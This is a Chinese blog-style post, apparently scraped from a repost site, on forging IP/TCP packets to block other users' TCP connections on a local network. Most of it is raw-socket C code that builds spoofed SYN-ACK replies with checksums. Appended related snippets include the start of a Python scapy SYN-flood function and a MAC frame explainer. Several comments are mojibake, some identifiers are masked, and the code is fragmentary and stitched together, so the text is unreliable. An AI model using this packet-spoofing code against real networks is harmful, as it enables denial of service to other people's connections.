偽造IP包,禁止TCP連線

2021-03-31 08:56:57 字數 2948 閱讀 9191

大家是否想過在區域網內如何禁止別人訪問web server,pop3,ftp等。那麼如何禁止呢?大家都知道tcp是面向連線的,連線時有三次握手,之後才能確認連線成功。那麼我們就應該能在第一次握手之後偽造乙個服務方的握手返回,從而達到tcp連線不成功,無法訪問某埠。程式如下:

void decodeip(buf,ibufsize) //解析偵聽到的ip資料報

void sendtcp_synack(char * szsrcip, char * szdestip,unsigned short srcport,unsigned short destport,unsigned int iack)

//---end-

//偽裝連線

unsigned short itotalsize=44;

unsigned short itcpsize=24;

char *sendbuf=new char[itotalsize];

ip_header.h_lenver=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));

//高四位版本號,低四位首部長度

ip_header.total_len=htons(itotalsize); //16位總長度

ip_header.tos=0;

ip_header.ident=htons(17393); //16??±êê?

ip_header.frag_and_flags=0; //3??±ê????,13??offset

ip_header.ttl=57; //8??éú′?ê±??ttl

ip_header.proto=ipproto_tcp; //8??d-òé(tcp,udp?-)

ip_header.checksum=0; //16位校驗和

ip_header.sourceip=i***_addr(szsrcip); //32位遠位址·

ip_header.destip=i***_addr(szdestip); //32位目的位址·

ip_header.checksum=checksum((ushort *)&ip_header,20);

//填充tcp首部

tcp_header.th_sport=htons(srcport); //源埠

tcp_header.th_dport=htons(destport); //目的埠

tcp_header.th_seq=htonl(0x581a784d); //syn序列號

tcp_header.th_ack=htonl(iack+1); //應答序號

tcp_header.th_lenres=(itcpsize/sizeof(unsigned long)<<4|0); //tcp長度和保留位

tcp_header.th_flag=0x12; //syn 標誌

tcp_header.th_win=htons(65535); //視窗大小

tcp_header.th_urp=0; //緊急指標

tcp_header.th_sum=0; //校驗和

//填充tcp偽首部(只用於生成校驗和)

psd_header.saddr=ip_header.sourceip;

psd_header.daddr=ip_header.destip;

psd_header.mbz=0;

psd_header.ptcl=ipproto_tcp;

psd_header.tcpl=htons(itcpsize);

zeromemory(sendbuf,itotalsize);

//計算tcp校驗和,包含偽tcp header

memcpy(sendbuf,&psd_header,sizeof(psd_header));

ptr=sendbuf+sizeof(psd_header);

memcpy(ptr,&tcp_header,sizeof(tcp_header));

ptr=sendbuf+sizeof(psd_header)+sizeof(tcp_header);

*ptr=(char)0x02;*(ptr+1)=(char)0x04;*(ptr+2)=(char)0x05;*(ptr+3)=(char)0xb4;

tcp_header.th_sum=checksum((ushort *)sendbuf,sizeof(psd_header)+24);

zeromemory(sendbuf,itotalsize);

//填充傳送緩衝區

memcpy(sendbuf,&ip_header,sizeof(ip_header));

ptr=sendbuf+sizeof(ip_header);

memcpy(ptr,&tcp_header,sizeof(tcp_header));

ptr=sendbuf+sizeof(ip_header)+sizeof(tcp_header);

*ptr=(char)0x02;*(ptr+1)=(char)0x04;*(ptr+2)=(char)0x05;*(ptr+3)=(char)0xb4;

remote.sin_family = af_i***;

remote.sin_port = htons(destport);

remote.sin_addr.s_addr = i***_addr(szdestip);

ierrorcode = sendto(s, sendbuf, itotalsize, 0, (sockaddr *)&remote, sizeof(remote));

checksockerror(ierrorcode, "synack sendto");

//偽裝關閉連線

itotalsize=40;

itcpsize=20;

// end--------

closesocket(s);

delete sendbuf;

return true;

}

偽造IP包,禁止TCP連線

大家是否想過在區域網內如何禁止別人訪問web server,pop3,ftp等。那麼如何禁止呢?大家都知道tcp是面向連線的,連線時有三次握手,之後才能確認連線成功。那麼我們就應該能在第一次握手之後偽造乙個服務方的握手返回,從而達到tcp連線不成功,無法訪問某埠。程式如下 void decodeip...

偽造TCP連線

usr bin python coding utf 8 import optparse from scapy.all import def synflood src,tgt tcp源埠不斷自增一,而目標埠513不變 for sport in range 1024,65535 iplayer ip s...

mac包,ip包,tcp包 格式說明

圖 三 乙太網路的 mac 訊框 在這個 mac 當中,最重要的就是那個 6 bytes 的目的與來源位址了!事實上,在所有的乙太網路卡當中都有乙個獨一無二的網路卡卡號,那就是上頭的 目的與來源位址 這個位址是硬體位址 hardware address 共有 6 bytes 分別由 00 00 00...